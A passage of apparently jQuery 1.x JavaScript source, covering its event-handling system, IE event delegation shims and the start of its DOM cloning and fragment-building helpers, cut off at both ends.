window) ) { // Beware of CSP restrictions (https://developer.mozilla.org/en/Security/CSP) div.setAttribute( eventName, "t" ); support[ i + "Bubbles" ] = div.attributes[ eventName ].expando === false; } } // Null elements to avoid leaks in IE. div = null; })(); var rformElems = /^(?:input|select|textarea)$/i, rkeyEvent = /^key/, rmouseEvent = /^(?:mouse|pointer|contextmenu)|click/, rfocusMorph = /^(?:focusinfocus|focusoutblur)$/, rtypenamespace = /^([^.]*)(?:\.(.+)|)$/; function returnTrue() { return true; } function returnFalse() { return false; } function safeActiveElement() { try { return document.activeElement; } catch ( err ) { } } /* * Helper functions for managing events -- not part of the public interface. * Props to Dean Edwards' addEvent library for many of the ideas. */ jQuery.event = { global: {}, add: function( elem, types, handler, data, selector ) { var tmp, events, t, handleObjIn, special, eventHandle, handleObj, handlers, type, namespaces, origType, elemData = jQuery._data( elem ); // Don't attach events to noData or text/comment nodes (but allow plain objects) if ( !elemData ) { return; } // Caller can pass in an object of custom data in lieu of the handler if ( handler.handler ) { handleObjIn = handler; handler = handleObjIn.handler; selector = handleObjIn.selector; } // Make sure that the handler has a unique ID, used to find/remove it later if ( !handler.guid ) { handler.guid = jQuery.guid++; } // Init the element's event structure and main handler, if this is the first if ( !(events = elemData.events) ) { events = elemData.events = {}; } if ( !(eventHandle = elemData.handle) ) { eventHandle = elemData.handle = function( e ) { // Discard the second event of a jQuery.event.trigger() and // when an event is called after a page has unloaded return typeof jQuery !== strundefined && (!e || jQuery.event.triggered !== e.type) ? jQuery.event.dispatch.apply( eventHandle.elem, arguments ) : undefined; }; // Add elem as a property of the handle fn to prevent a memory leak with IE non-native events eventHandle.elem = elem; } // Handle multiple events separated by a space types = ( types || "" ).match( rnotwhite ) || [ "" ]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[t] ) || []; type = origType = tmp[1]; namespaces = ( tmp[2] || "" ).split( "." ).sort(); // There *must* be a type, no attaching namespace-only handlers if ( !type ) { continue; } // If event changes its type, use the special event handlers for the changed type special = jQuery.event.special[ type ] || {}; // If selector defined, determine special event api type, otherwise given type type = ( selector ? special.delegateType : special.bindType ) || type; // Update special based on newly reset type special = jQuery.event.special[ type ] || {}; // handleObj is passed to all event handlers handleObj = jQuery.extend({ type: type, origType: origType, data: data, handler: handler, guid: handler.guid, selector: selector, needsContext: selector && jQuery.expr.match.needsContext.test( selector ), namespace: namespaces.join(".") }, handleObjIn ); // Init the event handler queue if we're the first if ( !(handlers = events[ type ]) ) { handlers = events[ type ] = []; handlers.delegateCount = 0; // Only use addEventListener/attachEvent if the special events handler returns false if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) { // Bind the global event handler to the element if ( elem.addEventListener ) { elem.addEventListener( type, eventHandle, false ); } else if ( elem.attachEvent ) { elem.attachEvent( "on" + type, eventHandle ); } } } if ( special.add ) { special.add.call( elem, handleObj ); if ( !handleObj.handler.guid ) { handleObj.handler.guid = handler.guid; } } // Add to the element's handler list, delegates in front if ( selector ) { handlers.splice( handlers.delegateCount++, 0, handleObj ); } else { handlers.push( handleObj ); } // Keep track of which events have ever been used, for event optimization jQuery.event.global[ type ] = true; } // Nullify elem to prevent memory leaks in IE elem = null; }, // Detach an event or set of events from an element remove: function( elem, types, handler, selector, mappedTypes ) { var j, handleObj, tmp, origCount, t, events, special, handlers, type, namespaces, origType, elemData = jQuery.hasData( elem ) && jQuery._data( elem ); if ( !elemData || !(events = elemData.events) ) { return; } // Once for each type.namespace in types; type may be omitted types = ( types || "" ).match( rnotwhite ) || [ "" ]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[t] ) || []; type = origType = tmp[1]; namespaces = ( tmp[2] || "" ).split( "." ).sort(); // Unbind all events (on this namespace, if provided) for the element if ( !type ) { for ( type in events ) { jQuery.event.remove( elem, type + types[ t ], handler, selector, true ); } continue; } special = jQuery.event.special[ type ] || {}; type = ( selector ? special.delegateType : special.bindType ) || type; handlers = events[ type ] || []; tmp = tmp[2] && new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" ); // Remove matching events origCount = j = handlers.length; while ( j-- ) { handleObj = handlers[ j ]; if ( ( mappedTypes || origType === handleObj.origType ) && ( !handler || handler.guid === handleObj.guid ) && ( !tmp || tmp.test( handleObj.namespace ) ) && ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) { handlers.splice( j, 1 ); if ( handleObj.selector ) { handlers.delegateCount--; } if ( special.remove ) { special.remove.call( elem, handleObj ); } } } // Remove generic event handler if we removed something and no more handlers exist // (avoids potential for endless recursion during removal of special event handlers) if ( origCount && !handlers.length ) { if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) { jQuery.removeEvent( elem, type, elemData.handle ); } delete events[ type ]; } } // Remove the expando if it's no longer used if ( jQuery.isEmptyObject( events ) ) { delete elemData.handle; // removeData also checks for emptiness and clears the expando if empty // so use it instead of delete jQuery._removeData( elem, "events" ); } }, trigger: function( event, data, elem, onlyHandlers ) { var handle, ontype, cur, bubbleType, special, tmp, i, eventPath = [ elem || document ], type = hasOwn.call( event, "type" ) ? event.type : event, namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split(".") : []; cur = tmp = elem = elem || document; // Don't do events on text and comment nodes if ( elem.nodeType === 3 || elem.nodeType === 8 ) { return; } // focus/blur morphs to focusin/out; ensure we're not firing them right now if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { return; } if ( type.indexOf(".") >= 0 ) { // Namespaced trigger; create a regexp to match event type in handle() namespaces = type.split("."); type = namespaces.shift(); namespaces.sort(); } ontype = type.indexOf(":") < 0 && "on" + type; // Caller can pass in a jQuery.Event object, Object, or just an event type string event = event[ jQuery.expando ] ? event : new jQuery.Event( type, typeof event === "object" && event ); // Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true) event.isTrigger = onlyHandlers ? 2 : 3; event.namespace = namespaces.join("."); event.namespace_re = event.namespace ? new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" ) : null; // Clean up the event in case it is being reused event.result = undefined; if ( !event.target ) { event.target = elem; } // Clone any incoming data and prepend the event, creating the handler arg list data = data == null ? [ event ] : jQuery.makeArray( data, [ event ] ); // Allow special events to draw outside the lines special = jQuery.event.special[ type ] || {}; if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) { return; } // Determine event propagation path in advance, per W3C events spec (#9951) // Bubble up to document, then to window; watch for a global ownerDocument var (#9724) if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) { bubbleType = special.delegateType || type; if ( !rfocusMorph.test( bubbleType + type ) ) { cur = cur.parentNode; } for ( ; cur; cur = cur.parentNode ) { eventPath.push( cur ); tmp = cur; } // Only add window if we got to document (e.g., not plain obj or detached DOM) if ( tmp === (elem.ownerDocument || document) ) { eventPath.push( tmp.defaultView || tmp.parentWindow || window ); } } // Fire handlers on the event path i = 0; while ( (cur = eventPath[i++]) && !event.isPropagationStopped() ) { event.type = i > 1 ? bubbleType : special.bindType || type; // jQuery handler handle = ( jQuery._data( cur, "events" ) || {} )[ event.type ] && jQuery._data( cur, "handle" ); if ( handle ) { handle.apply( cur, data ); } // Native handler handle = ontype && cur[ ontype ]; if ( handle && handle.apply && jQuery.acceptData( cur ) ) { event.result = handle.apply( cur, data ); if ( event.result === false ) { event.preventDefault(); } } } event.type = type; // If nobody prevented the default action, do it now if ( !onlyHandlers && !event.isDefaultPrevented() ) { if ( (!special._default || special._default.apply( eventPath.pop(), data ) === false) && jQuery.acceptData( elem ) ) { // Call a native DOM method on the target with the same name name as the event. // Can't use an .isFunction() check here because IE6/7 fails that test. // Don't do default actions on window, that's where global variables be (#6170) if ( ontype && elem[ type ] && !jQuery.isWindow( elem ) ) { // Don't re-trigger an onFOO event when we call its FOO() method tmp = elem[ ontype ]; if ( tmp ) { elem[ ontype ] = null; } // Prevent re-triggering of the same event, since we already bubbled it above jQuery.event.triggered = type; try { elem[ type ](); } catch ( e ) { // IE<9 dies on focus/blur to hidden element (#1486,#12518) // only reproducible on winXP IE8 native, not IE9 in IE8 mode } jQuery.event.triggered = undefined; if ( tmp ) { elem[ ontype ] = tmp; } } } } return event.result; }, dispatch: function( event ) { // Make a writable jQuery.Event from the native event object event = jQuery.event.fix( event ); var i, ret, handleObj, matched, j, handlerQueue = [], args = slice.call( arguments ), handlers = ( jQuery._data( this, "events" ) || {} )[ event.type ] || [], special = jQuery.event.special[ event.type ] || {}; // Use the fix-ed jQuery.Event rather than the (read-only) native event args[0] = event; event.delegateTarget = this; // Call the preDispatch hook for the mapped type, and let it bail if desired if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) { return; } // Determine handlers handlerQueue = jQuery.event.handlers.call( this, event, handlers ); // Run delegates first; they may want to stop propagation beneath us i = 0; while ( (matched = handlerQueue[ i++ ]) && !event.isPropagationStopped() ) { event.currentTarget = matched.elem; j = 0; while ( (handleObj = matched.handlers[ j++ ]) && !event.isImmediatePropagationStopped() ) { // Triggered event must either 1) have no namespace, or // 2) have namespace(s) a subset or equal to those in the bound event (both can have no namespace). if ( !event.namespace_re || event.namespace_re.test( handleObj.namespace ) ) { event.handleObj = handleObj; event.data = handleObj.data; ret = ( (jQuery.event.special[ handleObj.origType ] || {}).handle || handleObj.handler ) .apply( matched.elem, args ); if ( ret !== undefined ) { if ( (event.result = ret) === false ) { event.preventDefault(); event.stopPropagation(); } } } } } // Call the postDispatch hook for the mapped type if ( special.postDispatch ) { special.postDispatch.call( this, event ); } return event.result; }, handlers: function( event, handlers ) { var sel, handleObj, matches, i, handlerQueue = [], delegateCount = handlers.delegateCount, cur = event.target; // Find delegate handlers // Black-hole SVG <use> instance trees (#13180) // Avoid non-left-click bubbling in Firefox (#3861) if ( delegateCount && cur.nodeType && (!event.button || event.type !== "click") ) { /* jshint eqeqeq: false */ for ( ; cur != this; cur = cur.parentNode || this ) { /* jshint eqeqeq: true */ // Don't check non-elements (#13208) // Don't process clicks on disabled elements (#6911, #8165, #11382, #11764) if ( cur.nodeType === 1 && (cur.disabled !== true || event.type !== "click") ) { matches = []; for ( i = 0; i < delegateCount; i++ ) { handleObj = handlers[ i ]; // Don't conflict with Object.prototype properties (#13203) sel = handleObj.selector + " "; if ( matches[ sel ] === undefined ) { matches[ sel ] = handleObj.needsContext ? jQuery( sel, this ).index( cur ) >= 0 : jQuery.find( sel, this, null, [ cur ] ).length; } if ( matches[ sel ] ) { matches.push( handleObj ); } } if ( matches.length ) { handlerQueue.push({ elem: cur, handlers: matches }); } } } } // Add the remaining (directly-bound) handlers if ( delegateCount < handlers.length ) { handlerQueue.push({ elem: this, handlers: handlers.slice( delegateCount ) }); } return handlerQueue; }, fix: function( event ) { if ( event[ jQuery.expando ] ) { return event; } // Create a writable copy of the event object and normalize some properties var i, prop, copy, type = event.type, originalEvent = event, fixHook = this.fixHooks[ type ]; if ( !fixHook ) { this.fixHooks[ type ] = fixHook = rmouseEvent.test( type ) ? this.mouseHooks : rkeyEvent.test( type ) ? this.keyHooks : {}; } copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props; event = new jQuery.Event( originalEvent ); i = copy.length; while ( i-- ) { prop = copy[ i ]; event[ prop ] = originalEvent[ prop ]; } // Support: IE<9 // Fix target property (#1925) if ( !event.target ) { event.target = originalEvent.srcElement || document; } // Support: Chrome 23+, Safari? // Target should not be a text node (#504, #13143) if ( event.target.nodeType === 3 ) { event.target = event.target.parentNode; } // Support: IE<9 // For mouse/key events, metaKey==false if it's undefined (#3368, #11328) event.metaKey = !!event.metaKey; return fixHook.filter ? fixHook.filter( event, originalEvent ) : event; }, // Includes some event props shared by KeyEvent and MouseEvent props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "), fixHooks: {}, keyHooks: { props: "char charCode key keyCode".split(" "), filter: function( event, original ) { // Add which for key events if ( event.which == null ) { event.which = original.charCode != null ? original.charCode : original.keyCode; } return event; } }, mouseHooks: { props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "), filter: function( event, original ) { var body, eventDoc, doc, button = original.button, fromElement = original.fromElement; // Calculate pageX/Y if missing and clientX/Y available if ( event.pageX == null && original.clientX != null ) { eventDoc = event.target.ownerDocument || document; doc = eventDoc.documentElement; body = eventDoc.body; event.pageX = original.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 ); event.pageY = original.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && body.clientTop || 0 ); } // Add relatedTarget, if necessary if ( !event.relatedTarget && fromElement ) { event.relatedTarget = fromElement === event.target ? original.toElement : fromElement; } // Add which for click: 1 === left; 2 === middle; 3 === right // Note: button is not normalized, so don't use it if ( !event.which && button !== undefined ) { event.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) ); } return event; } }, special: { load: { // Prevent triggered image.load events from bubbling to window.load noBubble: true }, focus: { // Fire native event if possible so blur/focus sequence is correct trigger: function() { if ( this !== safeActiveElement() && this.focus ) { try { this.focus(); return false; } catch ( e ) { // Support: IE<9 // If we error on focus to hidden element (#1486, #12518), // let .trigger() run the handlers } } }, delegateType: "focusin" }, blur: { trigger: function() { if ( this === safeActiveElement() && this.blur ) { this.blur(); return false; } }, delegateType: "focusout" }, click: { // For checkbox, fire native event so checked state will be right trigger: function() { if ( jQuery.nodeName( this, "input" ) && this.type === "checkbox" && this.click ) { this.click(); return false; } }, // For cross-browser consistency, don't fire native .click() on links _default: function( event ) { return jQuery.nodeName( event.target, "a" ); } }, beforeunload: { postDispatch: function( event ) { // Support: Firefox 20+ // Firefox doesn't alert if the returnValue field is not set. if ( event.result !== undefined && event.originalEvent ) { event.originalEvent.returnValue = event.result; } } } }, simulate: function( type, elem, event, bubble ) { // Piggyback on a donor event to simulate a different one. // Fake originalEvent to avoid donor's stopPropagation, but if the // simulated event prevents default then we do the same on the donor. var e = jQuery.extend( new jQuery.Event(), event, { type: type, isSimulated: true, originalEvent: {} } ); if ( bubble ) { jQuery.event.trigger( e, null, elem ); } else { jQuery.event.dispatch.call( elem, e ); } if ( e.isDefaultPrevented() ) { event.preventDefault(); } } }; jQuery.removeEvent = document.removeEventListener ? function( elem, type, handle ) { if ( elem.removeEventListener ) { elem.removeEventListener( type, handle, false ); } } : function( elem, type, handle ) { var name = "on" + type; if ( elem.detachEvent ) { // #8545, #7054, preventing memory leaks for custom events in IE6-8 // detachEvent needed property on element, by name of that event, to properly expose it to GC if ( typeof elem[ name ] === strundefined ) { elem[ name ] = null; } elem.detachEvent( name, handle ); } }; jQuery.Event = function( src, props ) { // Allow instantiation without the 'new' keyword if ( !(this instanceof jQuery.Event) ) { return new jQuery.Event( src, props ); } // Event object if ( src && src.type ) { this.originalEvent = src; this.type = src.type; // Events bubbling up the document may have been marked as prevented // by a handler lower down the tree; reflect the correct value. this.isDefaultPrevented = src.defaultPrevented || src.defaultPrevented === undefined && // Support: IE < 9, Android < 4.0 src.returnValue === false ? returnTrue : returnFalse; // Event type } else { this.type = src; } // Put explicitly provided properties onto the event object if ( props ) { jQuery.extend( this, props ); } // Create a timestamp if incoming event doesn't have one this.timeStamp = src && src.timeStamp || jQuery.now(); // Mark it as fixed this[ jQuery.expando ] = true; }; // jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding // http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html jQuery.Event.prototype = { isDefaultPrevented: returnFalse, isPropagationStopped: returnFalse, isImmediatePropagationStopped: returnFalse, preventDefault: function() { var e = this.originalEvent; this.isDefaultPrevented = returnTrue; if ( !e ) { return; } // If preventDefault exists, run it on the original event if ( e.preventDefault ) { e.preventDefault(); // Support: IE // Otherwise set the returnValue property of the original event to false } else { e.returnValue = false; } }, stopPropagation: function() { var e = this.originalEvent; this.isPropagationStopped = returnTrue; if ( !e ) { return; } // If stopPropagation exists, run it on the original event if ( e.stopPropagation ) { e.stopPropagation(); } // Support: IE // Set the cancelBubble property of the original event to true e.cancelBubble = true; }, stopImmediatePropagation: function() { var e = this.originalEvent; this.isImmediatePropagationStopped = returnTrue; if ( e && e.stopImmediatePropagation ) { e.stopImmediatePropagation(); } this.stopPropagation(); } }; // Create mouseenter/leave events using mouseover/out and event-time checks jQuery.each({ mouseenter: "mouseover", mouseleave: "mouseout", pointerenter: "pointerover", pointerleave: "pointerout" }, function( orig, fix ) { jQuery.event.special[ orig ] = { delegateType: fix, bindType: fix, handle: function( event ) { var ret, target = this, related = event.relatedTarget, handleObj = event.handleObj; // For mousenter/leave call the handler if related is outside the target. // NB: No relatedTarget if the mouse left/entered the browser window if ( !related || (related !== target && !jQuery.contains( target, related )) ) { event.type = handleObj.origType; ret = handleObj.handler.apply( this, arguments ); event.type = fix; } return ret; } }; }); // IE submit delegation if ( !support.submitBubbles ) { jQuery.event.special.submit = { setup: function() { // Only need this for delegated form submit events if ( jQuery.nodeName( this, "form" ) ) { return false; } // Lazy-add a submit handler when a descendant form may potentially be submitted jQuery.event.add( this, "click._submit keypress._submit", function( e ) { // Node name check avoids a VML-related crash in IE (#9807) var elem = e.target, form = jQuery.nodeName( elem, "input" ) || jQuery.nodeName( elem, "button" ) ? elem.form : undefined; if ( form && !jQuery._data( form, "submitBubbles" ) ) { jQuery.event.add( form, "submit._submit", function( event ) { event._submit_bubble = true; }); jQuery._data( form, "submitBubbles", true ); } }); // return undefined since we don't need an event listener }, postDispatch: function( event ) { // If form was submitted by the user, bubble the event up the tree if ( event._submit_bubble ) { delete event._submit_bubble; if ( this.parentNode && !event.isTrigger ) { jQuery.event.simulate( "submit", this.parentNode, event, true ); } } }, teardown: function() { // Only need this for delegated form submit events if ( jQuery.nodeName( this, "form" ) ) { return false; } // Remove delegated handlers; cleanData eventually reaps submit handlers attached above jQuery.event.remove( this, "._submit" ); } }; } // IE change delegation and checkbox/radio fix if ( !support.changeBubbles ) { jQuery.event.special.change = { setup: function() { if ( rformElems.test( this.nodeName ) ) { // IE doesn't fire change on a check/radio until blur; trigger it on click // after a propertychange. Eat the blur-change in special.change.handle. // This still fires onchange a second time for check/radio after blur. if ( this.type === "checkbox" || this.type === "radio" ) { jQuery.event.add( this, "propertychange._change", function( event ) { if ( event.originalEvent.propertyName === "checked" ) { this._just_changed = true; } }); jQuery.event.add( this, "click._change", function( event ) { if ( this._just_changed && !event.isTrigger ) { this._just_changed = false; } // Allow triggered, simulated change events (#11500) jQuery.event.simulate( "change", this, event, true ); }); } return false; } // Delegated event; lazy-add a change handler on descendant inputs jQuery.event.add( this, "beforeactivate._change", function( e ) { var elem = e.target; if ( rformElems.test( elem.nodeName ) && !jQuery._data( elem, "changeBubbles" ) ) { jQuery.event.add( elem, "change._change", function( event ) { if ( this.parentNode && !event.isSimulated && !event.isTrigger ) { jQuery.event.simulate( "change", this.parentNode, event, true ); } }); jQuery._data( elem, "changeBubbles", true ); } }); }, handle: function( event ) { var elem = event.target; // Swallow native change events from checkbox/radio, we already triggered them above if ( this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox") ) { return event.handleObj.handler.apply( this, arguments ); } }, teardown: function() { jQuery.event.remove( this, "._change" ); return !rformElems.test( this.nodeName ); } }; } // Create "bubbling" focus and blur events if ( !support.focusinBubbles ) { jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) { // Attach a single capturing handler on the document while someone wants focusin/focusout var handler = function( event ) { jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true ); }; jQuery.event.special[ fix ] = { setup: function() { var doc = this.ownerDocument || this, attaches = jQuery._data( doc, fix ); if ( !attaches ) { doc.addEventListener( orig, handler, true ); } jQuery._data( doc, fix, ( attaches || 0 ) + 1 ); }, teardown: function() { var doc = this.ownerDocument || this, attaches = jQuery._data( doc, fix ) - 1; if ( !attaches ) { doc.removeEventListener( orig, handler, true ); jQuery._removeData( doc, fix ); } else { jQuery._data( doc, fix, attaches ); } } }; }); } jQuery.fn.extend({ on: function( types, selector, data, fn, /*INTERNAL*/ one ) { var type, origFn; // Types can be a map of types/handlers if ( typeof types === "object" ) { // ( types-Object, selector, data ) if ( typeof selector !== "string" ) { // ( types-Object, data ) data = data || selector; selector = undefined; } for ( type in types ) { this.on( type, selector, data, types[ type ], one ); } return this; } if ( data == null && fn == null ) { // ( types, fn ) fn = selector; data = selector = undefined; } else if ( fn == null ) { if ( typeof selector === "string" ) { // ( types, selector, fn ) fn = data; data = undefined; } else { // ( types, data, fn ) fn = data; data = selector; selector = undefined; } } if ( fn === false ) { fn = returnFalse; } else if ( !fn ) { return this; } if ( one === 1 ) { origFn = fn; fn = function( event ) { // Can use an empty set, since event contains the info jQuery().off( event ); return origFn.apply( this, arguments ); }; // Use same guid so caller can remove using origFn fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); } return this.each( function() { jQuery.event.add( this, types, fn, data, selector ); }); }, one: function( types, selector, data, fn ) { return this.on( types, selector, data, fn, 1 ); }, off: function( types, selector, fn ) { var handleObj, type; if ( types && types.preventDefault && types.handleObj ) { // ( event ) dispatched jQuery.Event handleObj = types.handleObj; jQuery( types.delegateTarget ).off( handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler ); return this; } if ( typeof types === "object" ) { // ( types-object [, selector] ) for ( type in types ) { this.off( type, selector, types[ type ] ); } return this; } if ( selector === false || typeof selector === "function" ) { // ( types [, fn] ) fn = selector; selector = undefined; } if ( fn === false ) { fn = returnFalse; } return this.each(function() { jQuery.event.remove( this, types, fn, selector ); }); }, trigger: function( type, data ) { return this.each(function() { jQuery.event.trigger( type, data, this ); }); }, triggerHandler: function( type, data ) { var elem = this[0]; if ( elem ) { return jQuery.event.trigger( type, data, elem, true ); } } }); function createSafeFragment( document ) { var list = nodeNames.split( "|" ), safeFrag = document.createDocumentFragment(); if ( safeFrag.createElement ) { while ( list.length ) { safeFrag.createElement( list.pop() ); } } return safeFrag; } var nodeNames = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|" + "header|hgroup|mark|meter|nav|output|progress|section|summary|time|video", rinlinejQuery = / jQuery\d+="(?:null|\d+)"/g, rnoshimcache = new RegExp("<(?:" + nodeNames + ")[\\s/>]", "i"), rleadingWhitespace = /^\s+/, rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi, rtagName = /<([\w:]+)/, rtbody = /<tbody/i, rhtml = /<|&#?\w+;/, rnoInnerhtml = /<(?:script|style|link)/i, // checked="checked" or checked rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i, rscriptType = /^$|\/(?:java|ecma)script/i, rscriptTypeMasked = /^true\/(.*)/, rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g, // We have to close these tags to support XHTML (#13200) wrapMap = { option: [ 1, "<select multiple='multiple'>", "</select>" ], legend: [ 1, "<fieldset>", "</fieldset>" ], area: [ 1, "<map>", "</map>" ], param: [ 1, "<object>", "</object>" ], thead: [ 1, "<table>", "</table>" ], tr: [ 2, "<table><tbody>", "</tbody></table>" ], col: [ 2, "<table><tbody></tbody><colgroup>", "</colgroup></table>" ], td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ], // IE6-8 can't serialize link, script, style, or any html5 (NoScope) tags, // unless wrapped in a div with non-breaking characters in front of it. _default: support.htmlSerialize ? [ 0, "", "" ] : [ 1, "X<div>", "</div>" ] }, safeFragment = createSafeFragment( document ), fragmentDiv = safeFragment.appendChild( document.createElement("div") ); wrapMap.optgroup = wrapMap.option; wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; wrapMap.th = wrapMap.td; function getAll( context, tag ) { var elems, elem, i = 0, found = typeof context.getElementsByTagName !== strundefined ? context.getElementsByTagName( tag || "*" ) : typeof context.querySelectorAll !== strundefined ? context.querySelectorAll( tag || "*" ) : undefined; if ( !found ) { for ( found = [], elems = context.childNodes || context; (elem = elems[i]) != null; i++ ) { if ( !tag || jQuery.nodeName( elem, tag ) ) { found.push( elem ); } else { jQuery.merge( found, getAll( elem, tag ) ); } } } return tag === undefined || tag && jQuery.nodeName( context, tag ) ? jQuery.merge( [ context ], found ) : found; } // Used in buildFragment, fixes the defaultChecked property function fixDefaultChecked( elem ) { if ( rcheckableType.test( elem.type ) ) { elem.defaultChecked = elem.checked; } } // Support: IE<8 // Manipulating tables requires a tbody function manipulationTarget( elem, content ) { return jQuery.nodeName( elem, "table" ) && jQuery.nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ? elem.getElementsByTagName("tbody")[0] || elem.appendChild( elem.ownerDocument.createElement("tbody") ) : elem; } // Replace/restore the type attribute of script elements for safe DOM manipulation function disableScript( elem ) { elem.type = (jQuery.find.attr( elem, "type" ) !== null) + "/" + elem.type; return elem; } function restoreScript( elem ) { var match = rscriptTypeMasked.exec( elem.type ); if ( match ) { elem.type = match[1]; } else { elem.removeAttribute("type"); } return elem; } // Mark scripts as having already been evaluated function setGlobalEval( elems, refElements ) { var elem, i = 0; for ( ; (elem = elems[i]) != null; i++ ) { jQuery._data( elem, "globalEval", !refElements || jQuery._data( refElements[i], "globalEval" ) ); } } function cloneCopyEvent( src, dest ) { if ( dest.nodeType !== 1 || !jQuery.hasData( src ) ) { return; } var type, i, l, oldData = jQuery._data( src ), curData = jQuery._data( dest, oldData ), events = oldData.events; if ( events ) { delete curData.handle; curData.events = {}; for ( type in events ) { for ( i = 0, l = events[ type ].length; i < l; i++ ) { jQuery.event.add( dest, type, events[ type ][ i ] ); } } } // make the cloned public data object a copy from the original if ( curData.data ) { curData.data = jQuery.extend( {}, curData.data ); } } function fixCloneNodeIssues( src, dest ) { var nodeName, e, data; // We do not need to do anything for non-Elements if ( dest.nodeType !== 1 ) { return; } nodeName = dest.nodeName.toLowerCase(); // IE6-8 copies events bound via attachEvent when using cloneNode. if ( !support.noCloneEvent && dest[ jQuery.expando ] ) { data = jQuery._data( dest ); for ( e in data.events ) { jQuery.removeEvent( dest, e, data.handle ); } // Event data gets referenced instead of copied if the expando gets copied too dest.removeAttribute( jQuery.expando ); } // IE blanks contents when cloning scripts, and tries to evaluate newly-set text if ( nodeName === "script" && dest.text !== src.text ) { disableScript( dest ).text = src.text; restoreScript( dest ); // IE6-10 improperly clones children of object elements using classid. // IE10 throws NoModificationAllowedError if parent is null, #12132. } else if ( nodeName === "object" ) { if ( dest.parentNode ) { dest.outerHTML = src.outerHTML; } // This path appears unavoidable for IE9. When cloning an object // element in IE9, the outerHTML strategy above is not sufficient. // If the src has innerHTML and the destination does not, // copy the src.innerHTML into the dest.innerHTML. #10324 if ( support.html5Clone && ( src.innerHTML && !jQuery.trim(dest.innerHTML) ) ) { dest.innerHTML = src.innerHTML; } } else if ( nodeName === "input" && rcheckableType.test( src.type ) ) { // IE6-8 fails to persist the checked state of a cloned checkbox // or radio button. Worse, IE6-7 fail to give the cloned element // a checked appearance if the defaultChecked value isn't also set dest.defaultChecked = dest.checked = src.checked; // IE6-7 get confused and end up setting the value of a cloned // checkbox/radio button to an empty string instead of "on" if ( dest.value !== src.value ) { dest.value = src.value; } // IE6-8 fails to return the selected option to the default selected // state when cloning options } else if ( nodeName === "option" ) { dest.defaultSelected = dest.selected = src.defaultSelected; // IE6-8 fails to set the defaultValue to the correct value when // cloning other types of input fields } else if ( nodeName === "input" || nodeName === "textarea" ) { dest.defaultValue = src.defaultValue; } } jQuery.extend({ clone: function( elem, dataAndEvents, deepDataAndEvents ) { var destElements, node, clone, i, srcElements, inPage = jQuery.contains( elem.ownerDocument, elem ); if ( support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test( "<" + elem.nodeName + ">" ) ) { clone = elem.cloneNode( true ); // IE<=8 does not properly clone detached, unknown element nodes } else { fragmentDiv.innerHTML = elem.outerHTML; fragmentDiv.removeChild( clone = fragmentDiv.firstChild ); } if ( (!support.noCloneEvent || !support.noCloneChecked) && (elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem) ) { // We eschew Sizzle here for performance reasons: http://jsperf.com/getall-vs-sizzle/2 destElements = getAll( clone ); srcElements = getAll( elem ); // Fix all IE cloning issues for ( i = 0; (node = srcElements[i]) != null; ++i ) { // Ensure that the destination node is not null; Fixes #9587 if ( destElements[i] ) { fixCloneNodeIssues( node, destElements[i] ); } } } // Copy the events from the original to the clone if ( dataAndEvents ) { if ( deepDataAndEvents ) { srcElements = srcElements || getAll( elem ); destElements = destElements || getAll( clone ); for ( i = 0; (node = srcElements[i]) != null; i++ ) { cloneCopyEvent( node, destElements[i] ); } } else { cloneCopyEvent( elem, clone ); } } // Preserve script evaluation history destElements = getAll( clone, "script" ); if ( destElements.length > 0 ) { setGlobalEval( destElements, !inPage && getAll( elem, "script" ) ); } destElements = srcElements = node = null; // Return the cloned set return clone; }, buildFragment: function( elems, context, scripts, selection ) { var j, elem, contains, tmp, tag, tbody, wrap, l = elems.length, // Ensure a safe fragment safe = createSafeFragment( context ), nodes = [], i = 0; for ( ; i < l; i++ ) { elem = elems[ i ]; if ( elem || elem === 0 ) { // Add nodes directly if ( jQuery.type( elem ) === "object" ) { jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem ); // Convert non-html into a text node } else if ( !rhtml.test( elem ) ) { nodes.push( context.createTextNode( elem ) ); // Convert html into DOM nodes } else { tmp = tmp || safe.appendChild( context.createElement("div") ); // Deserialize a standard representation tag = (rtagName.exec( elem ) || [ "", 